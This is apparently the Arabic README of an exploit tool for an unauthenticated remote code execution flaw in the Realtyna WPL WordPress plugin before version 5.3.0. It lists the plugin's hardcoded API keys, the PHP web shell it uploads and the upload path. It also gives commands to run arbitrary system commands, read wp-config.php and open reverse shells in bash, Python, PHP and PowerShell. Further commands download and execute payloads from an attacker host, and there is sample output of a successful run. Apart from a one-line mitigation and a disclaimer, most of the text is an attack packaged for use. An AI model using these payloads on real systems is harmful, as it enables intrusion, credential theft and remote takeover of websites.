
استغلال ثغرة تنفيذ أوامر عن بُعد (RCE) دون مصادقة في Realtyna WPL < 5.3.0، يرفع قشرة ويب PHP عبر مفتاح API مضمّن ويُنفّذ أوامر نظام اعتباطية.
يستهدف هذا الاستغلال ثغرة أمنية حرجة في إصدارات إضافة Realtyna Organic IDX + WPL Real Estate الأقدم من 5.3.0. تستخدم الإضافة بيانات اعتماد مضمّنة (hardcoded) وتسمح برفع ملفات بدون مصادقة، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).
تمتلك الإضافة واجهة API للإدخال/الإخراج مفعّلة افتراضيًا مع بيانات اعتماد مضمّنة:
io_public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7wio_private_key = Eft76bdh0o2uyhJkbG3Tلا تتحقق واجهة API من أنواع الملفات، مما يسمح برفع ملفات PHP عشوائية.
# Clone or download the script
git clone https://github.com/yourusername/wpl-rce-exploit.git
cd wpl-rce-exploit
# Install dependencies
pip install requests urllib3
# Upload webshell only
python exploit.py -u https://target.com/wordpress
# Execute a command
python exploit.py -u https://target.com/wordpress -c "whoami"
# Multiple commands
python exploit.py -u https://target.com/wordpress -c "id" # Linux
python exploit.py -u https://target.com/wordpress -c "systeminfo" # Windows
# System information
python exploit.py -u https://target.com -c "uname -a"
# Current user
python exploit.py -u https://target.com -c "whoami"
# List files
python exploit.py -u https://target.com -c "ls -la"
# Read wp-config.php
python exploit.py -u https://target.com -c "cat wp-config.php"
# Network information
python exploit.py -u https://target.com -c "ifconfig"
python exploit.py -u https://target.com -c "netstat -tulpn"
# System information
python exploit.py -u https://target.com -c "systeminfo"
# Current user
python exploit.py -u https://target.com -c "whoami"
# List files
python exploit.py -u https://target.com -c "dir"
# Read wp-config.php
python exploit.py -u https://target.com -c "type wp-config.php"
# Network information
python exploit.py -u https://target.com -c "ipconfig"
python exploit.py -u https://target.com -c "netstat -ano"
# Netcat reverse shell
python exploit.py -u https://target.com -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
# Python reverse shell
python exploit.py -u https://target.com -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# PHP reverse shell
python exploit.py -u https://target.com -c "php -r '\$sock=fsockopen(\"YOUR_IP\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
# PowerShell reverse shell
python exploit.py -u https://target.com -c "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""
# Download and execute (Windows)
python exploit.py -u https://target.com -c "certutil -urlcache -f http://YOUR_IP/payload.exe C:\temp\payload.exe && C:\temp\payload.exe"
# Download and execute (Linux)
python exploit.py -u https://target.com -c "wget http://YOUR_IP/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
<?php system($_GET['c']); ?>)wp-content/uploads/WPL/<ID>/shell.phpshell.php?c=COMMAND/wp-content/uploads/WPL/*/wplview=io, wplformat=io, cmd=set_property// Add to wp-config.php
define('WPL_IO_STATUS', 0);
[+] Realtyna WPL < 5.3.0 RCE Exploit
[+] Target: https://localhost/wordpress/
[+] Command: whoami
[+] Uploading webshell...
[+] File uploaded successfully!
[+] Webshell found at: wp-content/uploads/WPL/1/shell.php
[+] Command output:
desktop-0s8mt1v\kg
هذا الاستغلال لأغراض تعليمية واختبارات مصرّح بها فقط. الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو ليس لديك إذن باختبارها يعد غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.
هذا المشروع لأغراض تعليمية فقط. استخدمه على مسؤوليتك الخاصة.
لا تتردد في إرسال المشكلات (issues) وطلبات السحب (pull requests) لاقتراح التحسينات.
للمشكلات والأسئلة، يرجى فتح issue على GitHub.
⚠️ تحذير: هذه الأداة مقدمة لأغراض البحث الأمني والتعليم فقط. احصل دائمًا على التصريح المناسب قبل اختبار أي نظام.